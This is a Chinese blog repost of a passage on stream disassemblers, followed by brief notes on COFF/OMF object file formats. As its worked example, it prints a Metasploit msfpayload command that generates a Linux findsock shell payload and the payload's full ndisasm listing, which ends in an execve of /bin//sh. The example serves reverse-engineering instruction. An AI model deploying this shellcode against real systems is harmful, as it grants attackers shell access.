反汇编器

有很多工具都可以生成二进制目标文件的死列表形式的反汇编代码。PE、ELF和MACH-O文件可分别使用dumpbin、objdump和otool进行反汇编。但是,它们中的任何一个都无法处理任意格式的二进制文件。有时候,你会遇到一些并不采用常用文件格式的二进制文件,在这种情况下,你就需要一些能够从用户指定的偏移量开始反汇编过程的工具。

有两个用于x86指令集的流式反汇编器(stream disassembler):ndisasm和diStorm 。ndisasm是Netwide Assembler(NASM) 中的一个工具。下面的例子说明了如何使用ndisasm反汇编一段由Metasploit框架 生成的shellcode:


  
idabook# ./msfpayload linux_ia32_findsock CPORT=4444 R > fs   idabook# ls -l fs   -rw-r--r-- 1 ida ida 62 Oct 30 15:49 fs   idabook# ndisasm -u fs   00000000  31D2              xor edx,edx   00000002  52                push edx   00000003  89E5              mov ebp,esp   00000005  6A07              push byte +0x7   00000007  5B                pop ebx   00000008  6A10              push byte +0x10   0000000A  54                push esp   0000000B  55                push ebp   0000000C  52                push edx   0000000D  89E1              mov ecx,esp   0000000F  FF01              inc dword [ecx]   00000011  6A66              push byte +0x66   00000013  58                pop eax   00000014  CD80              int 0x80   00000016  66817D02115C      cmp word [ebp+0x2],0x5c11   0000001C  75F1              jnz 0xf   0000001E  5B                pop ebx   0000001F  6A02              push byte +0x2   00000021  59                pop ecx   00000022  B03F              mov al,0x3f   00000024  CD80              int 0x80   00000026  49                dec ecx   00000027  79F9              jns 0x22   00000029  52                push edx   0000002A  682F2F7368        push dword 0x68732f2f   0000002F  682F62696E        push dword 0x6e69622f   00000034  89E3              mov ebx,esp   00000036  52                push edx   00000037  53                push ebx   00000038  89E1              mov ecx,esp   0000003A  B00B              mov al,0xb   0000003C  CD80              int 0x80 

由于流式反汇编非常灵活,因此它的用途相当广泛。例如,在分析网络数据包中可能包含shellcode的计算机网络攻击时,就可以采用流式反汇编器来反汇编数据包中包含shellcode的部分,以分析恶意负载的行为。另外一种情况是分析那些格式未知的ROM镜像。ROM中有些部分是数据,其他部分则为代码,可以使用流式反汇编器来反汇编镜像中的代码。

1. VC,GCC的obj,lib格式为COFF,可相互通用。

2. VC,GCC的obj,lib可通过coff2omf转成OMF格式,但VC在编译时要加/Zl选项。
3. VC,GCC的typelib可通过coff2omf转成OMF格式。
4. 由于BCB的OMF是非标的,所以VC的linker无法识别,但它可识别标准的OMF格式。
5. editbin可将标准的OMF转为COFF(只能转obj,不能转lib)。
6. VC,GCC,BCB的二进制查看分别为dumpbin,objdump,tdump。tdump的-C可查看COFF格式。

转载于:https://my.oschina.net/u/218425/blog/77130

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值